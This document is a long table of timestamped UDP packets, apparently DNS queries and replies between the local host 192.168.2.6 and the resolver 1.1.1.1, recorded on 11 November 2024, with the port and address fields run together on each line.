                                                                                                                                                                                                          Nov 11, 2024 18:14:03.028049946 CET53512711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.028691053 CET6303753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.032881021 CET53556911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.034303904 CET53638461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.036988020 CET53540271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.040926933 CET53576421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.041682959 CET53560381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.042175055 CET53515821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.042766094 CET53602101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.043397903 CET53493081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.043958902 CET53630371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.046859980 CET5740753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.047256947 CET6146353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.056327105 CET5163453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.056570053 CET6178953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.059297085 CET53614631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.060163975 CET53510691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.062192917 CET53602901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.065145016 CET53643721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.069401026 CET53617891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.069425106 CET53516341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.081582069 CET53574071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.115113020 CET6467553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.115159988 CET6472553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.116687059 CET5601753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.129875898 CET53560171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.149805069 CET53646751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.150995016 CET53647251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725248098 CET5072753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725302935 CET5618753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725824118 CET6382253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.726454020 CET5308053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727231026 CET4984053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727617025 CET5092253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727749109 CET5153353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.728315115 CET5371953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.730294943 CET6372353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.736269951 CET53530801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.736859083 CET53498401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.738087893 CET53515331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.739013910 CET5266053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.740247965 CET53537191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.742593050 CET5894453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.743263006 CET53638221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.744281054 CET6277053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.744750023 CET5448853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.747870922 CET53526601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.748939991 CET53637231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.748967886 CET6478553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.752357006 CET53544881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.756891012 CET53561871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.757020950 CET53507271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.759793997 CET53509221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.760242939 CET53647851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.762159109 CET53589441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.765072107 CET6355953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.773086071 CET5603553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.776245117 CET53627701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.779829025 CET5476653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.783617973 CET5200553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.785326004 CET6273253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.785670996 CET53560351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.787760019 CET5816753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.789154053 CET5629053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.791130066 CET4953453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.793106079 CET6111253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.793482065 CET4990453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.794636965 CET5463953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.794873953 CET53627321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.795175076 CET6044653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.795701027 CET53635591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.798528910 CET53562901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.798715115 CET53581671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.802421093 CET53611121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.804538012 CET53604461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.804625034 CET53546391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.808871031 CET53495341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.811295986 CET53547661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.815247059 CET53520051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.824275970 CET53499041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831319094 CET6452453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831765890 CET5329453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831971884 CET6169653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.832165003 CET5506353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.832477093 CET6340753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.834511995 CET6007653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.834997892 CET6077953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835161924 CET5398053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835294962 CET6177253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835453987 CET5018053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835613012 CET5860253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835747957 CET5559753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836044073 CET5047453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836245060 CET5406653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836421967 CET6283653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836729050 CET6250853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836905003 CET6349853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837054014 CET5684653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837207079 CET6233253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837371111 CET6533653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837559938 CET5254253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837817907 CET5993053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837975025 CET5619253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.838387966 CET5336853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.838537931 CET5537953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.841306925 CET53532941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.841439962 CET53645241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.841815948 CET6447653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.842030048 CET53616961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.842273951 CET5133553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.843218088 CET53550631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.843410969 CET53600761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.844074011 CET53628361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.844564915 CET5840253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.844605923 CET53607791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.845268011 CET53586021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.846040964 CET4996353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.846663952 CET53568461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.846869946 CET53540661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.847119093 CET53634981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.847455025 CET53653361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.847569942 CET53525421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.848143101 CET53623321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.848761082 CET53561921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.850712061 CET53634071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.852406979 CET53513351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.852783918 CET53644761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.853219032 CET53584021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.856169939 CET53625081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.857439041 CET53499631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.859020948 CET53539801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.865886927 CET5876353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866153955 CET53617721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866157055 CET6547753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866193056 CET53555971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866321087 CET5191753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866336107 CET6424253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866517067 CET5356853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866808891 CET6336153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.867002964 CET5457253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.867115021 CET53501801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.868246078 CET53504741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.868830919 CET53599301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.869138002 CET53553791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.869810104 CET53533681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.875403881 CET53587631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.876065016 CET53545721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.876776934 CET53535681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.877034903 CET53633611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.877089977 CET53654771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.898248911 CET53642421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.899360895 CET53519171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.996392012 CET6037353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.996710062 CET6330953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.007163048 CET53603731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.028227091 CET53633091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.107526064 CET5145253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.112737894 CET5640353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.112950087 CET5652053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.113291979 CET5027653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.117867947 CET6193953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.118123055 CET53514521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.122951031 CET53564031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.123681068 CET5335453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.123701096 CET53565201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.124139071 CET5985953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.124222040 CET53502761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.127585888 CET6369353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.129592896 CET4922553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.130697012 CET6476953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.131465912 CET5945653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.131668091 CET5322153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.132314920 CET5664353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133021116 CET5594453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133120060 CET6421753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133790016 CET6061153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.134890079 CET6251853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.135035038 CET53533541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.138220072 CET53598591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.141679049 CET53594561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.142950058 CET53559441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.142962933 CET53642171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.144112110 CET53566431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.148904085 CET53492251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.149969101 CET53619391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.155214071 CET6245853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.155849934 CET6216853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.159756899 CET53636931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.163476944 CET53647691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.163878918 CET53532211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.165132046 CET53606111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.166119099 CET53621681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.167279959 CET53624581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.170248985 CET53625181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.194150925 CET5073753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195485115 CET5330053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195693016 CET6367253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195983887 CET5093253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196304083 CET6552853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196496010 CET5853553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196655035 CET6429653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.197279930 CET6359453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.197815895 CET5056253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.199820995 CET5831753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.200067043 CET5117453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.203866959 CET53642961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.203882933 CET53507371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.206208944 CET53505621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.206221104 CET53509321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.206862926 CET53636721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.206873894 CET53585351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.210366011 CET53583171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.217153072 CET5666053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.217432022 CET6362653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.218523026 CET4933953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.218719006 CET6536953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.219343901 CET5971453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.221718073 CET6409053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.226248026 CET6001153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.227654934 CET53636261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.227822065 CET5133453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.227998018 CET53533001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228017092 CET5616053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228056908 CET6062953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228717089 CET53653691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228729963 CET53635941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.230501890 CET53655281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.230531931 CET53597141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.232337952 CET53493391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.232348919 CET53511741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.237881899 CET53600111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.238010883 CET53561601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.238554955 CET53513341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.250179052 CET53566601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.254235029 CET53640901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.260226011 CET53606291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.297807932 CET5815553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.300187111 CET5397953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.301135063 CET5832953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.310075045 CET6552053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.310739994 CET5104253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.311224937 CET5622753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.311671019 CET5697653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.312320948 CET6458953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.313481092 CET6425753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.315432072 CET53539791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.315752983 CET5769753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.315989017 CET6363053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.318478107 CET5858153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.318609953 CET5275753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.319395065 CET6292453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.319439888 CET6551453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.321082115 CET53562271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.322904110 CET53645891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.325942993 CET53636301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.327330112 CET5664053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.329788923 CET53655141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.329823017 CET53581551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.329833984 CET5659853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.331269026 CET5574553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.331861019 CET6089553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.332479000 CET6009153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.333076000 CET53583291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.334216118 CET5363753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.337578058 CET53566401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.341279984 CET53608951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.342479944 CET53600911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.343429089 CET53536371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.345133066 CET53642571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.348990917 CET53585811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.349941015 CET53629241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.350984097 CET53527571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.351394892 CET6055653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.361160040 CET53605561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.362102985 CET53557451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.363790035 CET6341353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364044905 CET4979253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364217043 CET6208253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364329100 CET5169853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364510059 CET6249353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364651918 CET5394053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369400024 CET5328753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369714975 CET6423053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369874954 CET5127253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369946003 CET5385453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370064974 CET5225653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370141983 CET4956153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370249987 CET5390453192.168.2.61.1.1.1
